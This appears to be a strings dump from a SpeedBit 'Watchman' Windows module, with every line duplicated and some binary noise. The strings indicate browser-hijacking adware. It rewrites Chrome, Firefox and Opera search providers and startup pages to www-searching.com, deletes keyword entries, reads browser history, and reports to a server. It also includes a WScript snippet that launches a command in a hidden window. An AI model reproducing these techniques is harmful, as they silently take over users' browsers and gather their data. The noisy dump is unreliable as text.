qdOxn2P9sq2/IGUhNgRHnYhWUtJpyCaS7J8aQXHlRip23vRRFZdpWvqMNS9BWHDk1ISh5GUkediSGfX6oTEL2qol6OQQa4sXuy2Ei75O6Mdxd8rEdObV9Nr8FAW0IXJI93aPpDKjCx12PbNKFWnWXhtfxNKNQd9uTCY=
2, 1, 9, 476
2, 1, 9, 476
Envelop.xml
Envelop.xml
Configuration.xml
Configuration.xml
UrlSet
UrlSet
Opera
Opera
StartPageUrl
StartPageUrl
AboutTabUrl
AboutTabUrl
SearchScopeUrl
SearchScopeUrl
SearchScopeIconUrl
SearchScopeIconUrl
SearchScopeSuggestUrl
SearchScopeSuggestUrl
DefaultProviderSearchUrl
DefaultProviderSearchUrl
DefaultProviderIconUrl
DefaultProviderIconUrl
DefaultProviderSuggestUrl
DefaultProviderSuggestUrl
SearchPluginUrl
SearchPluginUrl
SearchPluginSuggestionUrl
SearchPluginSuggestionUrl
TabPageUrl
TabPageUrl
SearchEngineFaviconUrl
SearchEngineFaviconUrl
SearchEngineSuggestionUrl
SearchEngineSuggestionUrl
SearchEngineSearchUrl
SearchEngineSearchUrl
SearchEngineKeyword
SearchEngineKeyword
System.xml
System.xml
Reset-2.1.0.7
Reset-2.1.0.7
UpdateUrl
UpdateUrl
ReportUrl
ReportUrl
ReportDlls
ReportDlls
User.xml
User.xml
urls
urls
SELECT * FROM urls
SELECT * FROM urls
ERROR: %s
ERROR: %s
WebData path:
WebData path:
Argument.GeneralConfig:
Argument.GeneralConfig:
Argument.Snapshot:
Argument.Snapshot:
Argument.Flags:
Argument.Flags:
suggest_url
suggest_url
originating_url
originating_url
favicon_url
favicon_url
keyword
keyword
keyword LIKE '
keyword LIKE '
keywords
keywords
WHERE key = 'Default Search Provider ID'
WHERE key = 'Default Search Provider ID'
key = 'Default Search Provider ID'
key = 'Default Search Provider ID'
DELETE from keywords WHERE id =
DELETE from keywords WHERE id =
search_url
search_url
icon_url
icon_url
startup_urls
startup_urls
urls_to_restore_on_startup
urls_to_restore_on_startup
chrome_url_overrides
chrome_url_overrides
template_url_data
template_url_data
www-searching.com
www-searching.com
image_url_post_params
image_url_post_params
instant_url
instant_url
instant_url_post_params
instant_url_post_params
new_tab_url
new_tab_url
search_terms_replacement_key
search_terms_replacement_key
search_url_post_params
search_url_post_params
suggestions_url
suggestions_url
suggestions_url_post_params
suggestions_url_post_params
chrome_settings_overrides
chrome_settings_overrides
session.startup_urls
session.startup_urls
web_url
web_url
search_icon.png
search_icon.png
select count(*) from sqlite_master where type = 'table' and name = '
select count(*) from sqlite_master where type = 'table' and name = '
%d-%m-%Y %H:%M, %a
%d-%m-%Y %H:%M, %a
large file support is disabled
large file support is disabled
SQL logic error or missing database
SQL logic error or missing database
foreign_keys
foreign_keys
sqlite_compileoption_get
sqlite_compileoption_get
sqlite_compileoption_used
sqlite_compileoption_used
sqlite_source_id
sqlite_source_id
sqlite_version
sqlite_version
sqlite_attach
sqlite_attach
sqlite_detach
sqlite_detach
sqlite_stat1
sqlite_stat1
sqlite_rename_parent
sqlite_rename_parent
sqlite_rename_trigger
sqlite_rename_trigger
sqlite_rename_table
sqlite_rename_table
RowKey
RowKey
SQLITE_
SQLITE_
d-d-d d:d:d
d-d-d d:d:d
d:d:d
d:d:d
d-d-d
d-d-d
failed to allocate %u bytes of memory
failed to allocate %u bytes of memory
failed memory resize %u to %u bytes
failed memory resize %u to %u bytes
922337203685477580
922337203685477580
API call with %s database connection pointer
API call with %s database connection pointer
%s-shm
%s-shm
%s\etilqs_
%s\etilqs_
OsError 0x%x (%u)
OsError 0x%x (%u)
Recovered %d frames from WAL file %s
Recovered %d frames from WAL file %s
invalid page number %d
invalid page number %d
2nd reference to page %d
2nd reference to page %d
Failed to read ptrmap key=%d
Failed to read ptrmap key=%d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
%d of %d pages missing from overflow list starting at %d
%d of %d pages missing from overflow list starting at %d
failed to get page %d
failed to get page %d
freelist leaf count too big on page %d
freelist leaf count too big on page %d
Page %d:
Page %d:
unable to get the page. error code=%d
unable to get the page. error code=%d
btreeInitPage() returns error code %d
btreeInitPage() returns error code %d
On tree page %d cell %d:
On tree page %d cell %d:
On page %d at right child:
On page %d at right child:
Corruption detected in cell %d on page %d
Corruption detected in cell %d on page %d
Multiple uses for byte %d of page %d
Multiple uses for byte %d of page %d
Fragmentation of %d bytes reported as %d on page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Page %d is never used
Pointer map page %d is referenced
Pointer map page %d is referenced
Outstanding page count goes from %d to %d during this analysis
Outstanding page count goes from %d to %d during this analysis
keyinfo(%d
keyinfo(%d
%s(%d)
%s(%d)
%s-mjX
%s-mjX
foreign key constraint failed
foreign key constraint failed
unable to use function %s in the requested context
unable to use function %s in the requested context
bind on a busy prepared statement: [%s]
bind on a busy prepared statement: [%s]
zeroblob(%d)
zeroblob(%d)
abort at %d in [%s]: %s
abort at %d in [%s]: %s
constraint failed at %d in [%s]
constraint failed at %d in [%s]
cannot open savepoint - SQL statements in progress
cannot open savepoint - SQL statements in progress
no such savepoint: %s
no such savepoint: %s
cannot %s savepoint - SQL statements in progress
cannot %s savepoint - SQL statements in progress
cannot rollback transaction - SQL statements in progress
cannot rollback transaction - SQL statements in progress
cannot commit transaction - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_temp_master
sqlite_temp_master
sqlite_master
sqlite_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
cannot change %s wal mode from within a transaction
cannot change %s wal mode from within a transaction
database table is locked: %s
database table is locked: %s
statement aborts at %d: [%s] %s
statement aborts at %d: [%s] %s
cannot open virtual table: %s
cannot open virtual table: %s
cannot open view: %s
cannot open view: %s
no such column: "%s"
no such column: "%s"
foreign key
foreign key
indexed
indexed
cannot open %s column for writing
cannot open %s column for writing
cannot open value of type %s
cannot open value of type %s
misuse of aliased aggregate %s
misuse of aliased aggregate %s
%s: %s.%s.%s
%s: %s.%s.%s
%s: %s.%s
%s: %s.%s
%s: %s
%s: %s
not authorized to use function: %s
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
too many terms in %s BY clause
Expression tree is too large (maximum depth %d)
Expression tree is too large (maximum depth %d)
variable number must be between ?1 and ?%d
variable number must be between ?1 and ?%d
too many SQL variables
too many SQL variables
too many columns in %s
too many columns in %s
misuse of aggregate: %s()
misuse of aggregate: %s()
%.*s"%w"%s
%.*s"%w"%s
%s%.*s"%w"
%s%.*s"%w"
%s OR name=%Q
%s OR name=%Q
there is already another table or index with this name: %s
there is already another table or index with this name: %s
sqlite_
sqlite_
table %s may not be altered
table %s may not be altered
view %s may not be altered
view %s may not be altered
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
sqlite_sequence
sqlite_sequence
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Cannot add a PRIMARY KEY column
Cannot add a PRIMARY KEY column
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_altertab_%s
CREATE TABLE %Q.%s(%s)
CREATE TABLE %Q.%s(%s)
DELETE FROM %Q.%s WHERE tbl=%Q
DELETE FROM %Q.%s WHERE tbl=%Q
SELECT idx, stat FROM %Q.sqlite_stat1
SELECT idx, stat FROM %Q.sqlite_stat1
invalid name: "%s"
invalid name: "%s"
too many attached databases - max %d
too many attached databases - max %d
database %s is already in use
database %s is already in use
unable to open database: %s
unable to open database: %s
no such database: %s
no such database: %s
cannot detach database %s
cannot detach database %s
database %s is locked
database %s is locked
%s %T cannot reference objects in database %s
%s %T cannot reference objects in database %s
access to %s.%s.%s is prohibited
access to %s.%s.%s is prohibited
access to %s.%s is prohibited
access to %s.%s is prohibited
object name reserved for internal use: %s
object name reserved for internal use: %s
there is already an index named %s
there is already an index named %s
too many columns on %s
too many columns on %s
duplicate column name: %s
duplicate column name: %s
default value of column [%s] is not constant
default value of column [%s] is not constant
table "%s" has more than one primary key
table "%s" has more than one primary key
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
no such collation sequence: %s
no such collation sequence: %s
CREATE %s %.*s
CREATE %s %.*s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE TABLE %Q.sqlite_sequence(name,seq)
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
view %s is circularly defined
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
table %s may not be dropped
table %s may not be dropped
use DROP TABLE to delete table %s
use DROP TABLE to delete table %s
use DROP VIEW to delete view %s
use DROP VIEW to delete view %s
DELETE FROM %s.sqlite_sequence WHERE name=%Q
DELETE FROM %s.sqlite_sequence WHERE name=%Q
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q
foreign key on %s should reference only one column of table %T
foreign key on %s should reference only one column of table %T
number of columns in foreign key does not match the number of columns in the referenced table
number of columns in foreign key does not match the number of columns in the referenced table
unknown column "%s" in foreign key definition
unknown column "%s" in foreign key definition
indexed columns are not unique
indexed columns are not unique
table %s may not be indexed
table %s may not be indexed
views may not be indexed
views may not be indexed
virtual tables may not be indexed
virtual tables may not be indexed
there is already a table named %s
there is already a table named %s
index %s already exists
index %s already exists
sqlite_autoindex_%s_%d
sqlite_autoindex_%s_%d
table %s has no column named %s
table %s has no column named %s
CREATE%s INDEX %.*s
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
no such index: %S
no such index: %S
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.%s WHERE name=%Q
DELETE FROM %Q.%s WHERE name=%Q
DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q
a JOIN clause is required before %s
a JOIN clause is required before %s
unable to identify the object to be reindexed
unable to identify the object to be reindexed
table %s may not be modified
table %s may not be modified
cannot modify %s because it is a view
cannot modify %s because it is a view
foreign key mismatch
foreign key mismatch
table %S has %d columns but %d values were supplied
table %S has %d columns but %d values were supplied
%d values for %d columns
%d values for %d columns
table %S has no column named %s
table %S has no column named %s
%s.%s may not be NULL
%s.%s may not be NULL
PRIMARY KEY must be unique
PRIMARY KEY must be unique
sqlite3_extension_init
sqlite3_extension_init
unable to open shared library [%s]
unable to open shared library [%s]
no entry point [%s] in shared library [%s]
no entry point [%s] in shared library [%s]
error during initialization: %s
error during initialization: %s
automatic extension loading failed: %s
automatic extension loading failed: %s
foreign_key_list
foreign_key_list
*** in database %s ***
*** in database %s ***
unsupported encoding: %s
unsupported encoding: %s
malformed database schema (%s)
malformed database schema (%s)
%s - %s
%s - %s
unsupported file format
unsupported file format
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
database schema is locked: %s
database schema is locked: %s
unknown or unsupported join type: %T %T%s%T
unknown or unsupported join type: %T %T%s%T
RIGHT and FULL OUTER JOINs are not currently supported
RIGHT and FULL OUTER JOINs are not currently supported
a NATURAL join may not have an ON or USING clause
a NATURAL join may not have an ON or USING clause
cannot have both ON and USING clauses in the same join
cannot have both ON and USING clauses in the same join
cannot join using column %s - column not present in both tables
cannot join using column %s - column not present in both tables
%s.%s
%s.%s
%s:%d
%s:%d
ORDER BY clause should come after %s not before
ORDER BY clause should come after %s not before
LIMIT clause should come after %s not before
LIMIT clause should come after %s not before
SELECTs to the left and right of %s do not have the same number of result columns
SELECTs to the left and right of %s do not have the same number of result columns
no such index: %s
no such index: %s
sqlite_subquery_%p_
sqlite_subquery_%p_
no such table: %s
no such table: %s
sqlite3_get_table() called with two or more incompatible queries
sqlite3_get_table() called with two or more incompatible queries
cannot create %s trigger on view: %S
cannot create %s trigger on view: %S
cannot create INSTEAD OF trigger on table: %S
cannot create INSTEAD OF trigger on table: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
no such trigger: %S
no such trigger: %S
-- TRIGGER %s
-- TRIGGER %s
no such column: %s
no such column: %s
PRAGMA vacuum_db.synchronous=OFF
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor failed: %s
vtable constructor failed: %s
vtable constructor did not declare schema: %s
vtable constructor did not declare schema: %s
no such module: %s
no such module: %s
table %s: xBestIndex returned an invalid plan
table %s: xBestIndex returned an invalid plan
at most %d tables in a join
at most %d tables in a join
cannot use index: %s
cannot use index: %s
TABLE %s
TABLE %s
%s AS %s
%s AS %s
%s WITH AUTOMATIC INDEX
%s WITH AUTOMATIC INDEX
%s WITH INDEX %s
%s WITH INDEX %s
%s VIA MULTI-INDEX UNION
%s VIA MULTI-INDEX UNION
%s USING PRIMARY KEY
%s USING PRIMARY KEY
%s VIRTUAL TABLE INDEX %d:%s
%s VIRTUAL TABLE INDEX %d:%s
%s ORDER BY
%s ORDER BY
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
unable to close due to unfinished backup operation
unable to close due to unfinished backup operation
unknown database: %s
unknown database: %s
no such vfs: %s
no such vfs: %s
database corruption at line %d of [%.10s]
database corruption at line %d of [%.10s]
misuse at line %d of [%.10s]
misuse at line %d of [%.10s]
cannot open file at line %d of [%.10s]
cannot open file at line %d of [%.10s]
Argument.StartPage:
Argument.StartPage:
Argument.Autosearch:
Argument.Autosearch:
Argument.NewTabPageShow:
Argument.NewTabPageShow:
Argument.SearchScopeId:
Argument.SearchScopeId:
Argument.Tabs:
Argument.Tabs:
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\smu.pdb
C:\BUILDS\Build_Watchman\Ver2\Speedbit.Watchman\Bin\SearchModulePlus_SearchModulePlus\Win32\WinMV\Release\smu.pdb
SHELL32.dll
SHELL32.dll
SHLWAPI.dll
SHLWAPI.dll
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
RegOpenKeyExA
RegOpenKeyExA
RegCloseKey
RegCloseKey
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
MSVCP90.dll
MSVCP90.dll
MSVCR90.dll
MSVCR90.dll
_amsg_exit
_amsg_exit
_crt_debugger_hook
_crt_debugger_hook
WinHttpReceiveResponse
WinHttpReceiveResponse
WinHttpSendRequest
WinHttpSendRequest
WinHttpConnect
WinHttpConnect
WinHttpCloseHandle
WinHttpCloseHandle
WinHttpQueryDataAvailable
WinHttpQueryDataAvailable
WinHttpOpen
WinHttpOpen
WinHttpOpenRequest
WinHttpOpenRequest
WinHttpReadData
WinHttpReadData
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetIEProxyConfigForCurrentUser
WINHTTP.dll
WINHTTP.dll
GetExtendedTcpTable
GetExtendedTcpTable
IPHLPAPI.DLL
IPHLPAPI.DLL
WS2_32.dll
WS2_32.dll
PSAPI.DLL
PSAPI.DLL
WTSAPI32.dll
WTSAPI32.dll
Secur32.dll
Secur32.dll
CryptMsgClose
CryptMsgClose
CertGetNameStringW
CertGetNameStringW
CertFreeCertificateContext
CertFreeCertificateContext
CertFindCertificateInStore
CertFindCertificateInStore
CertCloseStore
CertCloseStore
CryptMsgGetParam
CryptMsgGetParam
CRYPT32.dll
CRYPT32.dll
USERENV.dll
USERENV.dll
CreatePipe
CreatePipe
ConnectNamedPipe
ConnectNamedPipe
CreateNamedPipeW
CreateNamedPipeW
GetNamedPipeInfo
GetNamedPipeInfo
DisconnectNamedPipe
DisconnectNamedPipe
GetProcessHeap
GetProcessHeap
RegCreateKeyW
RegCreateKeyW
RegCreateKeyExW
RegCreateKeyExW
RegOpenKeyW
RegOpenKeyW
RegQueryInfoKeyW
RegQueryInfoKeyW
RegDeleteKeyA
RegDeleteKeyA
RegDeleteKeyW
RegDeleteKeyW
RegEnumKeyExA
RegEnumKeyExA
RegCreateKeyA
RegCreateKeyA
RegCreateKeyExA
RegCreateKeyExA
RegQueryInfoKeyA
RegQueryInfoKeyA
RegOpenKeyA
RegOpenKeyA
RegEnumKeyExW
RegEnumKeyExW
RegEnumKeyW
RegEnumKeyW
.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@
.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@
.?AVReportBuilder@Monitor@SpeedBit@@
.?AVReportBuilder@Monitor@SpeedBit@@
.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@
.?AVImplementation@ServerReporter@Monitor@SpeedBit@@
.?AVImplementation@ServerReporter@Monitor@SpeedBit@@
.?AVServerReporter@Monitor@SpeedBit@@
.?AVServerReporter@Monitor@SpeedBit@@
.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@
.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@
.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@
.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@
.?AVProfile@InstallInfo@Firefox@SpeedBit@@
.?AVProfile@InstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Firefox@SpeedBit@@
.?AVInstallInfo@Firefox@SpeedBit@@
.?AVImplementation@PipedProcess@Utils@SpeedBit@@
.?AVImplementation@PipedProcess@Utils@SpeedBit@@
.?AVPipedProcess@Utils@SpeedBit@@
.?AVPipedProcess@Utils@SpeedBit@@
.?AVImplementation@MachineKey@Utils@SpeedBit@@
.?AVImplementation@MachineKey@Utils@SpeedBit@@
.?AVMachineKey@Utils@SpeedBit@@
.?AVMachineKey@Utils@SpeedBit@@
.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@
.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@
.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@
.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@
.?AVUrlSet@Implementation@General@Config@SpeedBit@@
.?AVUrlSet@Implementation@General@Config@SpeedBit@@
.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@
.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@
.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@
.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@
.?AVOperaSettings@Implementation@General@Config@SpeedBit@@
.?AVOperaSettings@Implementation@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@General@Config@SpeedBit@@
.?AVChromeSettings@Implementation@General@Config@SpeedBit@@
.?AVSettings@Opera@General@Config@SpeedBit@@
.?AVSettings@Opera@General@Config@SpeedBit@@
.?AVValueSet@Firefox@General@Config@SpeedBit@@
.?AVValueSet@Firefox@General@Config@SpeedBit@@
.?AVSettings@Firefox@General@Config@SpeedBit@@
.?AVSettings@Firefox@General@Config@SpeedBit@@
.?AVValueSet@Chrome@General@Config@SpeedBit@@
.?AVValueSet@Chrome@General@Config@SpeedBit@@
.?AVSettings@Chrome@General@Config@SpeedBit@@
.?AVSettings@Chrome@General@Config@SpeedBit@@
.?AVUrlSet@General@Config@SpeedBit@@
.?AVUrlSet@General@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@
.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@
.?AVChromeSettings@Implementation@User@Config@SpeedBit@@
.?AVChromeSettings@Implementation@User@Config@SpeedBit@@
.?AVSettings@Firefox@User@Config@SpeedBit@@
.?AVSettings@Firefox@User@Config@SpeedBit@@
.?AVSettings@Chrome@User@Config@SpeedBit@@
.?AVSettings@Chrome@User@Config@SpeedBit@@
.?AVChromeBrowserHistory@SQLite@SpeedBit@@
.?AVChromeBrowserHistory@SQLite@SpeedBit@@
.?AVException@sql@@
.?AVException@sql@@
.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@
.?AVFactory@BrowserInfo@Chrome@SpeedBit@@
.?AVFactory@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@
.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@
.?AVBrowserInfo@Chrome@SpeedBit@@
.?AVBrowserInfo@Chrome@SpeedBit@@
.?AVLoader@Extension@Chrome@SpeedBit@@
.?AVLoader@Extension@Chrome@SpeedBit@@
.?AVImplementation@Extension@Chrome@SpeedBit@@
.?AVImplementation@Extension@Chrome@SpeedBit@@
.?AVExtension@Chrome@SpeedBit@@
.?AVExtension@Chrome@SpeedBit@@
.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@
.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@
.?AVBrowserSettings@Chrome@SpeedBit@@
.?AVBrowserSettings@Chrome@SpeedBit@@
.?AVImplementation@WebDataDB@SQLite@SpeedBit@@
.?AVImplementation@WebDataDB@SQLite@SpeedBit@@
.?AVWebDataDB@SQLite@SpeedBit@@
.?AVWebDataDB@SQLite@SpeedBit@@
.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@
.?AVBrowserSettings@Firefox@SpeedBit@@
.?AVBrowserSettings@Firefox@SpeedBit@@
PADif (WScript.Arguments.length > 0)
PADif (WScript.Arguments.length > 0)
var root = WScript.Arguments(0);
var root = WScript.Arguments(0);
for (var i = 1, n = WScript.Arguments.length; i
for (var i = 1, n = WScript.Arguments.length; i
args.push(WScript.Arguments(i));
args.push(WScript.Arguments(i));
var path = "\"" root.replace(/\\*$/, "").replace(/\//g, "\\") "\"";
var path = "\"" root.replace(/\\*$/, "").replace(/\//g, "\\") "\"";
path = " \"" args.join("\" \"") "\"";
path = " \"" args.join("\" \"") "\"";
var shell = WScript.CreateObject("WScript.Shell");
var shell = WScript.CreateObject("WScript.Shell");
shell.Run(path, 0, false);
shell.Run(path, 0, false);
0%0 01070
0%0 01070
2(2-272[2
2(2-272[2
3#3-323
3#3-323
8„8C8[8
8„8C8[8
5)686=6{6
5)686=6{6
2%2U2h2
2%2U2h2
4%4u4|4
4%4u4|4
0(0;0`0}0
0(0;0`0}0
5&515?5[5
5&515?5[5
6'626@6\6{6
6'626@6\6{6
!00050=0
!00050=0
2,2U2f2x2
2,2U2f2x2
4)545?5|5
4)545?5|5
11\1{1
11\1{1
;7;
;7;
0!030`0}0
0!030`0}0
50656=6|6
50656=6|6
7$7-787]7
7$7-787]7
6!6)6:6~6
6!6)6:6~6
2$3(3,3034383
2$3(3,3034383
7"7(7,7:7
7"7(7,7:7
1"2-2H2Q2}2
1"2-2H2Q2}2
5(5!9&939
5(5!9&939
9!9(9/959
9!9(9/959
4W5D5
4W5D5
6q7:7]7
6q7:7]7
00=0`0
00=0`0
4L4j4
4L4j4
: :$:0:4:8:
: :$:0:4:8:
2 2$2(2,2024282
2 2$2(2,2024282
8$8(8,8084888
8$8(8,8084888
= =$=(=,=0=4=8=
= =$=(=,=0=4=8=
? ?$?(?,?0?4?8?
? ?$?(?,?0?4?8?
> >$>(>,>0>4>8>
> >$>(>,>0>4>8>
Injection::Snapshot::Controller::IsChromeInstalled
Injection::Snapshot::Controller::IsChromeInstalled
Chrome installed:
Chrome installed:
Injection::Snapshot::Controller::IsFirefoxInstalled
Injection::Snapshot::Controller::IsFirefoxInstalled
Firefox installed:
Firefox installed:
Chrome unchanged:
Chrome unchanged:
Firefox unchanged:
Firefox unchanged:
Checking
Checking
Checking
Checking
logs\${ModuleName}.${Pid}.log
logs\${ModuleName}.${Pid}.log
WatchmanKey::TimeBomb::UninstallTimeBomb
WatchmanKey::TimeBomb::UninstallTimeBomb
Reporting
Reporting
ChromeExtensionMonitorWorkerThread started
ChromeExtensionMonitorWorkerThread started
ChromeExtensionMonitor::CollectExtensionInfo
ChromeExtensionMonitor::CollectExtensionInfo
ChromeExtensionMonitor::CheckExtension
ChromeExtensionMonitor::CheckExtension
